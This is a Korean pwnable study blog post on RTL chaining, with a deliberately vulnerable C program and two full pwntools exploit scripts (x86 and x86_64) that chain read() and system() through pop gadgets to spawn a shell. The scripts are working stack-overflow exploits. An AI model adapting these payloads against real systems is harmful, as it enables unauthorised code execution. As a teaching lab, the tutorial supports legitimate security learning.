SDJ( 수돈재 아님 ㅎ )

[Exploitation Technique] RTL chaining 본문

study/pwnable

[Exploitation Technique] RTL chaining

ShinDongJun 2020. 5. 28. 16:11

이전(예전) 글에서 RTL에 대해 배웠다.

몇 달전 쓰다가 만 글인데 새롭게 고쳐쓰려고 다시 갈아엎었다

 

RTL chaining을 위한 사전 지식.

2020/02/04 - [study/pwnable] - [Exploitation Technique] RTL 기법 ( Return-to-libc )

 

이전 RTL 글에서 나는 쉘을 따고나서 함수의 끝이 yyyy나 YYYYYYYY에서 끝나는 것을 알았고,

이 글에서 쓸 내용은 이제 그것을 가지고 무엇을 어떻게 할지에 대해 짱구를 굴리는 글이다.

 

글은

 

  1. RTL chaining

  2. 32 bit RTL

  3. 64 bit RTL

로 구성되어있다.

 

이 글을 읽고 나면...

RTLchaining과 유사하지만 더 재밌는 ROP(Return Oriented Programming)를 보러가자

2020/05/30 - [study/pwnable] - [Exploitation Technique] ROP (Return Oriented Programming)


RTL chaining ?

 

RTL chaining이란 RTL은 연계적으로 호출하면서 프로그램의 흐름을 바꾸는것이라고 이해하면 될듯하다.

 

예를들어 우리가 프로그램에서 system("/bin/sh")를 호출하는것이 최종 목표라고한다면 system("/bin/sh")를 호출하기 위해 system과 "/bin/sh"가 필요하게 된다.

 

RTL기법을 다룬 이전 글은 system과 "/bin/sh"를 정적으로 주어지게 함으로써 RTL로 쉽게 쉘을 땄지만 system이나 "/bin/sh"를 모를 경우 우리는 "/bin/sh"를 프로그램이 실행되는 동안 적어주고 system의 주소를 알아내야한다.

 

이 때는 한번의 RTL로 쉘을 따기 힘들기 때문에 RTL을 연계하여(chaining) 프로그램을 지속적으로 흐르게 해야한다.

 

이번 포스팅에서는 system함수는 주고 "/bin/sh"가 없을 때 상태를 가정하고 설명을 하고자 한다.

 

이제부터 내 취향? 대로 설명을 해보자면

지속적으로 흐르게 하기 위해서 필요한것을 가젯(gadgets) 이라고 부른다

가젯(gadgets)ret으로 끝나는 어셈블리 명령어의 집합으로 생각하면 되는데

 

예를 들어보면

 

x86

adc al, 0x41 ; ret

add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret

add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

call eax

leave ; ret

pop ebx ; pop esi ; pop edi ; pop ebp ; ret

 

x86_64

add byte ptr [rax], al ; pop rbp ; ret

call qword ptr [rcx]

jmp rax

pop rdi ; ret

pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

sub esp, 8 ; add rsp, 8 ; ret

 

와 같은 ret로 끝나는 어셈블리 명령어 들이 예시다.

 

call 이나 jmp같은 명령어는 그 명령을 호출했을 때 새롭게 파고 들어가서 그 가젯들을 실행시킨다

(call, jmp뒤에는 ret이 없고 call, jmp뒤에 오는 레지스터의 주소에 있는 명령을 따라간다)

예를 들어 call &main 이라고 한다면 main을 call했기 때문에 main에 있는 어셈블리 명령어들을 따라가다가 main끝부분에 있는 ret에서 RTL 체이닝을 이어나간다

 

결론은 우리가 어떤 코드조각들이 실행되고 끝나는 ret에 또 다른 가젯들을 넘겨주게 되면 ret에서는 가젯들을 타고 계속해서 이어나가게 된다!

(pop ebp ; ret) -> (pop edi; ret) -> ... 이런식으로

자세한건 예제를 보면서 살펴보자.

 

 

RTLchaining을 위해 사용할 코드

/*

file : RTLchaining.c

x86 compile    : gcc -o RTLchaining_x86 RTLchaining.c -fno-stack-protector -m32
x86_64 compile : gcc -o RTLchaining_x86_64 RTLchaining.c -fno-stack-protector

*/

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void hidden()
{
	system("date");
}

void vuln()
{
	char buf[0x10];

	printf(">> ");
	read(0, buf, 0x100);
}

int main(void)
{
	vuln();

	return 0;
}

 

컴파일을 하고나면 보호기법은 NX에 Partial RELRO만 걸려있다.

 

이전 글의 코드와 매우 유사하지만 눈에띄는점은 "/bin/sh" 문자열이 주어져있지 않다는 것을 볼 수 있다.

system은 주어져 있지만 "/bin/sh"가 없기 때문에 우리는 "/bin/sh"를 프로그램 어딘가에 적어야 하고, "/bin/sh"를 적고난 후에 system("/bin/sh")를 호출하면 된다.

 

 


x86 RTL chaining

 

먼저 x86 RTLchainig에 대해 알아보자.

이전 시간에 x86은 함수의 인자를 push해서 넣어준다는 기억할 것이다.

따라서 우리는 함수를 호출할 때 인자들을 stack에 넣어서 호출해야하는데 이 부분을 이해해야한다.

 

함수는 printf나 scanf처럼 가변인자들도 존재하지만 웬만하면 함수마다 인자의 개수가 정해져 있다 

 

read 원형은

ssize_t read(int fd, void *buf, size_t count);  : 3개

 

system 원형은

int system(const char *command);          : 1개

처럼.

 

따라서 우리가 함수를 chaining하기 위해서는 함수의 인자와 겹치지 않으면서 esp를 연속해서 ret에 가져다 놀 수 있는 가젯들로 구성된 payload를 짜야하게 된다.

 

이전에 했던 RTL의 개념을 떠올려서 우리가 ret를 덮을 때  system("/bin/sh")말고 read(0, buf, size)를 호출하고 싶다고 하자. 그러면 아래와 같이 덮으면 된다.

 

현재 RET자리에 read_plt를 덮어줌으로 써 원래 함수가 ret을 할 때 read를 호출하게 된다.  따라서 YYYY위에 0, &buf, size가 인자로 들어오면서 read(0, buf, size)를 실행하게 된다.

 

그리고 read가 끝나면 YYYY에 가서 죽게 된다. YYYY에서 죽는것은 이전 글 에서 system을 썼을 때 쉘을 종료하고서도 YYYY에서 죽는것을 보임으로 충분히 이해를 할 것이라고 생각한다.

 

 

 

 

 

 

그럼 YYYY에 무엇을 넣어야 계속 이어나갈 수 있을까?

이것이 사실 x86 RTLchaining의 핵심이자 x86 ROP를 하기 위한 기초가 된다

 

일단 YYYY가 ret주소라고 바로 함수를 넣을 수는 없다.( 넣어도 되는 경우가 있긴 하지만 대개 안된다 )

왜냐하면 YYYY에 함수를 넣는다 하면 ret위치는 read의 첫번째 인자인 0이 들어있을 뿐더러 함수의 인자마저 제대로 넣어주지 못하게 된다.

 

넣어도 되는 경우 한가지만 볼겸 YYYY에 system을 넣어보자.

 

이 경우는 이례적이지만 쉘 따기가 가능하다..

위에서 read를 통해 buf에 "/bin/sh"를 입력하게 된다면 read_plt가 끝나고 system_plt로 넘어가면서 system("/bin/sh")가 실행된다. 

 

하지만 쉘을 닫으면 read인자인 0으로 이동하여 죽게되고 위에서 말한대로 이러한 경우는 거의 없으며 만약 system가 없는 경우(모를 경우) 이곳을 마지막으로 chaining이 끊어지게 된다. 따라서 우리는 무한히 chain을 이어나갈 수 있는 방법을 찾아야한다.

 

 

이제 실행한 함수 바로 다음에 존재하는 ret에 다른 함수를 넣어도 되는 경우가 있지만 안되는 경우가 더 많음을 알게됐다. 따라서 나는 바이너리에 존재하는 Gadget을 이용하여 ret을 size보다 높은 주소로 옮기고자 한다.

이게 무슨소리냐면

read_plt를 호출하고 ret자리는 위의 사진에서 system_plt의 주소이다. 하지만 저 ret에서는 함수를 호출해서 이어나갈 자신이 없기 때문에 아예 새로운 ret을 만들고자 read 마지막인자인 size바로 위의 주소로 ret로 옮긴다는 의미이다.

사진으로 보면 다음과 같다.

 

read_plt다음 어떤 가젯을 주어서 size위의 XXXX로 ret를 새롭게 옮긴다. 이 경우에는 XXXX보다 높은 주소에는 어떠한 방해물이 없기 때문에 원하는 함수에 원하는 인자를 줄 수 있게된다.

read를 첫번째로 호출한 함수고 만약 XXXX위치에서 호출한 함수가 2번째라면 3번째 호출할 함수도 왼쪽과 같이 어떤 가젯을 이용해서 더 높은 위치로 이동하고 그곳에서 4번째, 5번째, ... 무수히 많은 함수들을 chaining을 통해 호출할 수 있게된다.

이것이 다음에 배우는 내용이며 스택에서 할 수 있는 가장 아름다운 기법인 ROP( Return Oriented Programming )다.

 

ROP는 다음시간에 더 자세하게 쓸것이고 이번 글을 RTLchaining이므로 다시 돌아와서 글을 적어보자

 

 

 

 

결국 우리는 ????위치에 어떤 가젯을 줌으로써 함수들을 무한히 호출할 수 있게 되었다.

( 물론 경우에 따라 무한히는 아니다. bof도 overflow되는 양이 존재하기에! )

 

이 어떤가젯은 esp를 높은 주소로 옮겨주는 역할을 하는데 이는 어셈블리어로 pop밖에 없다

( pop말고도 add, sub같은 어셈블리어로도 esp를 높은주소로 옮겨줄 수 있지만 pop이 x86, x86_64에 맞는 크기만큼 작동하기에 pop이 제일 적당하다고 생각한다.)

 

다시말해서 pop esp를 하면 esp가 4byte 증가하게 된다.( x86이라 )

그리고 read의 인자는 3개이므로 pop을 총 3번 해야한다.

따라서 pop A; pop B; pop C; ret을 수행하는 가젯이 있다면 위에 사진에서 XXXX위치로 새롭게 ret이 가능해진다.

 

바이너리에 존재하는 가젯을 보니 (pop 1번 ; ret), (pop 2번 ; ret), (pop 3번 ; ret), (pop 4번 ; ret) 으로 esp를 다양하게 조작할 수 있는것을 알 수 있다.

pop ; ret은 인자가 1개인 함수

pop*2 ; ret은 인자가 2개인 함수

pop*3 ; ret은 인자가 3개인 함수

pop*4 ; ret은 인자가 4개인 함수

 

와! 정말 다양한 함수를 조작할 수 있겠다!

 

따라서 위의 예시에서 read를 하고나서 XXXX로 옮기기 위해서는 pop 3번 ; ret 가젯을 써줘야한다.

 

자 pop *3번 ; ret 가젯을 read_plt 다음 써줬다.

그렇게 된다면 RET를 호출하고나서 ret으로 갔을 때

pop*3번 과 ret이 있으므로 각각

pop : 0

pop : buf

pop : size

ret : XXXX <- RTL chaining!!

이 된다.

 

따라서 위에서 system을 read_plt 다음에 갈겨줘서 딸 수도 있지만 저 XXXX에 system_plt와 인자로 buf를 주면 역시 쉘을 딸 수 있다.

 

 

 

쉘을 따는 RTL chaining의 전체적인 사진은 다음과 같다.

됐다! 이렇게 되면 정상적으로 쉘을 딸 수 있다.

차례대로 흐름을 보면

1. RET의 read가 호출되고 인자 0, buf, size를 이용해 read(0, buf, size)를 호출한다. 

2. pop_pop_pop_ret으로 esp를 read 마지막인자인 size 위쪽으로 옮긴다.

3. size 다음에 넣어준 system_plt를 호출한다.

4. system_plt에서는 buf를 인자로 받아 system(buf)를 호출한다.

5. 쉘을 딴다!

 

화살표 색대로 진행이 되니( 빨->주->초->파->남 ) 천천히 살펴보면 분명 이해할 수 있으시리라 믿습니다.

esp의 위치를 고려하시면서 확인해보세요!

 

따라서 이것을 코드로 옮기면 이렇게 쓸 수 있다.

from pwn import *

p = process("./RTLchaining_x86")

system_plt = 0x80483b0
read_plt = 0x8048390

bss = 0x804a000+0x500
pppr = 0x080485d9 						# pop_pop_pop_ret

pay = ''
pay += 'X'*0x18
pay += 'X'*4                            # sfp
pay += p32(read_plt)                    # ret
pay += p32(pppr)                        # read ret
pay += p32(0)
pay += p32(bss)
pay += p32(8)

pay += p32(system_plt)
pay += 'XXXX'                           # system ret
pay += p32(bss)                         # "/bin/sh\x00"
p.sendafter(">> ", pay)

sleep(0.3)
p.send("/bin/sh\x00")                   # read(0, buf, 8)
                                        # input "/bin/sh\x00" -> buf
p.interactive()

 

여기서 bss개념이 나오는데 

우리가 /bin/sh를 쓰기 위해서는 rwx에서 w권한이 있는곳을 써야하는데, 그게 메모리 구조에서 data영역이자 bss라고 불리는 곳이다.

따라서 bss를 가져오면 그 위치에 값을 쓸 수 있다!!

 

 


x86_64 RTL chaining

 

이번에는 x86_64 RTL chaining에 대해서 알아보자.

 

이전글에서 x86_64는 x86과는 다르게 인자를 레지스터에 저장한다는 것을 배웠다. 

 

따라서 RTL을 할 때 인자들을 먼저 넣어주고 함수를 호출하는 형태를 가져야한다.

x86의 경우 스택에 인자를 저장하기 때문에 함수를 쓰고 위에 덮어줬지만 x86_64는 함수 호출시 레지스터가 인자로 변하므로 함수 호출 전에 미리 인자들을 전부 넣어줘야한다.

 

따라서 x86_64는 함수를 호출하기 위해 레지스터에 값을 저장할 수 있는 가젯들을 모아야한다.

 

그럼 어떤 가제들을 모아야할까.

일단 어셈블리어에서 레지스터에 값을 새롭게 넣어주기 위해 pop [reg]를 호출한다.

그리고 x86_64에서 함수를 호출할 때

첫번째 인자 : rdi

두번째 인자 : rsi

세번째 인자 : rdx

네번째 인자 : rcx

다섯번째 인자 : r8

여섯번째 인자 : r9

....

이므로 우리는 pop rdi, pop rsi, pop rdx 등 해당 레지스터를 pop하는 가젯들이 필요하다.

대강 인자는 3개까지 쓰는 함수가 많으니(read 1개 밖에 모름) rdi, rsi, rdx에 해당하는 pop가젯들만 찾으면 될듯하다.

pop rdi : 0x400773

pop rsi; pop r15 : 0x400771

꼭 pop rsi만 사용 가능한 것은 아니다. pop r15같은 경우에는 dummy인자로 그냥 채워주면 된다.

 

pop rdx : ???

pop rdx가 보이지 않는다.

pop rdx는 read에서 size를 담당하는 부분인데 이 가젯이 안보인다. 

 

그러면 read에서 rdx위치가 size인데 그럼 rdx없이 read_plt를 호출할 수 있나요? 라고 물어볼 수 있다.

이에 내 대답은 할 수도 있고 못할 수도 있다라고 말할 수 있겠다.

 

이유를 설명해보자면 이제 기본적으로 cpu에서 연산을 하는 과정에서 레지스터들이 사용되고 대개 모든 레지스터가 연산을 하면서 값들을 가지고 있게 된다.

 

범용레지스터에 대해 찾아보면

RAX : 산술 논리 연산, 함수의 Return 값 저장

RBX : 데이터 포인터 ( 위치 가리킬때 ? )

RCX : 반복문을 사용할 때 반복 count

RDX : RAX의 산술 논리 연산을 보조하는 역할

RDI : 문자열에 관련된 작업시 목적지 인덱스로 사용

RSI : 문자열에 관련된 작업시 원본 인덱스로 사용

RSP : 스택 포인터

RBP : 스택의 데이터에 접근하기 위한 포인터

나머지 : 다양한 용도로 사용

 

인 것을 알 수 있다.

 

여기서 RDX는 산술 논리 연산을 보조하는데 이 때 큰 값이 있을 수도 있고 작은값이 있을 수도 있고 0일 수도 있고 다양할 수 있다고 생각한다. 따라서 무슨 값이 들어있을지는 나도 모른다는것...

 

근데 내 경우에 지금까지 많은 포너블에서 RTLchaining을 통해 read를 호출할 때 rdx에 값이 없어서 read를 못한적이 아직 없었기 때문에 확정짓지는 못하겠지만 그렇다고 무조건 RTL로 read를 호출할 때 rdx에 값이 있다고도 확정할 수 없다 라고 생각한다.

 

하지만 아마 많은 경우에 RDX에는 작지 않은 값이 들어있다고 생각한다. 그래서 이 부분은 상황에 맞게 넘기는것으로 하자.

 

본론으로 돌아와서 우리는 rdx에 큰 값이 있길 바라면서 rdi, rsi가젯을 모았다.

그러면 이제 마찬가지로 bof를 통해 RTLchaining을 시도해야하는데

 

buf에 "/bin/sh"를 쓰고 system_plt를 호출해야한다.

따라서 먼저 read(0, buf, size)를 호출하기 위해 아래와 같이 덮었다.

위의 사진이 이해가 되면 좋겠다.

 

색 순서대로 진행하는데 

1. pop rdi로 rdi에 0이들어가고ret위치에 pop_rsi_r15_ret을 넣었다.

2. pop rdi가 ret을 하면 pop_rsi_r15_ret가 호출된다.

3. pop_rsi_r15를 호출해서 rsi에 buf, r15에 0을 넣고 ret주소에 read_plt를 넣었다.

4. pop_rsi_r15가 ret을 하면 read_plt가 호출된다 ==> read(0, buf, ???)

5. read_plt가 호출되면 ret로 가는 그 부분에 XXXXXXXX이 적혀있다.

6. XXXXXXXX은 없는 주소기 때문에 error가 발생한다.

 

사실 이 과정은 눈으로만 보면 이해하기가 힘들고 rsp의 위치도 같이 봐야 이해하기가 쉽다.( x86도 마찬가지 )

(물론 사진에서 아래를 낮은주소로 두었기 때문에 pop을 하면 rsp가 높은주소로 올라가고(사진에서 위로) pop이나 ret의 과정과 plt를 호출하는 과정을 이해했다면 그림으로도 쉽게 이해할 수 있다고 생각한다)

 

헌데 ppt에 rsp표시도 넣고 설명을 하자니 너무 복잡해질거같아서 설명으로만 대체..(한계)

 

어쨋거나 위에처럼 덮어주고 read_plt를 호출시에 rdx에 값만 있다면 read는 성공적으로 진행이 된다.

실제로 실행시켜보니 rdx에 0x100값이 들어있더라. 따라서 넘겨준 bss에 총 0x100만큼 입력이 가능하다.

 

bss에 aaaaaaaa를 입력하고 XXXXXXXX에서 죽었다.

 

그리고 XXXXXXXX에서 죽는것을 확인했으니 이제는 system("/bin/sh")를 호출해야한다.

현재 bss에 내가 aaaaaaaa를 입력했지만 /bin/sh를 입력한다고 했을 때 bss를 rdi로 주면 되므로 다음과 같이 덮어주면 된다.

 

아까 XXXXXXXX의 위치에 pop rdi ret을 넣고 buf와 system_plt를 넣어줬다.

이 경우에 buf가 rdi에 들어가고 ret주소에 system_plt가 있으므로 system(&buf)가 실행된다.

만약 쉘을 종료하면 plt다음 ret주소인 YYYYYYYY에서 죽게 된다.

 

따라서 x86_64의 전체적인 RTLchaining과정은 다음과 같다.

 

1. pop rdi에 의해 rdi에 0 넣고 ret

2. pop_rsi_r15_ret에 의해 rsi에 buf, r15에 0을 넣고 ret

3. rdx의 값은 우리가 넣어줄수 없기 때문에 read_plt를 호출한다.( rdx가 값이 있길 바라는 심정으로다가 )

4. 입력이 끝난후 read_plt는 ret

5. pop rdi에 의해 rdi에 bss주소를 넣고 ret

6. system_plt를 호출해 system(&bss)를 호출

7. bss에는 "/bin/sh"가 적혀있으므로 쉘이 따짐.

8. 쉘을 종료하면 YYYYYYYY에서 죽음.

 

이 과정을 코드로 짜면 다음과 같다.

 

 

from pwn import *

p = process("./RTLchaining_x86_64")

pop_rdi_ret = 0x0000000000400773
pop_rsi_r15_ret = 0x0000000000400771

system_plt = 0x400520
read_plt = 0x400540
bss = 0x601000+0x500

pay = ''
pay += 'X'*0x10
pay += 'X'*8 				# sfp
pay += p64(pop_rdi_ret)		# ret
pay += p64(0)				# rdi = 0
pay += p64(pop_rsi_r15_ret)
pay += p64(bss)				# rsi = bss
pay += p64(0)				# r15 = dummy
pay += p64(read_plt)		# read(0, bss, ???)

pay += p64(pop_rdi_ret)		# read_ret
pay += p64(bss)
pay += p64(system_plt)		# system(&bss)
pay += 'YYYYYYYY'			# system_ret
p.sendafter(">> ", pay)

sleep(0.3)
pay = ''
pay += "/bin/sh\x00"		# input "/bin/sh\x00" -> bss
p.send(pay)
p.interactive()

 

 

Comments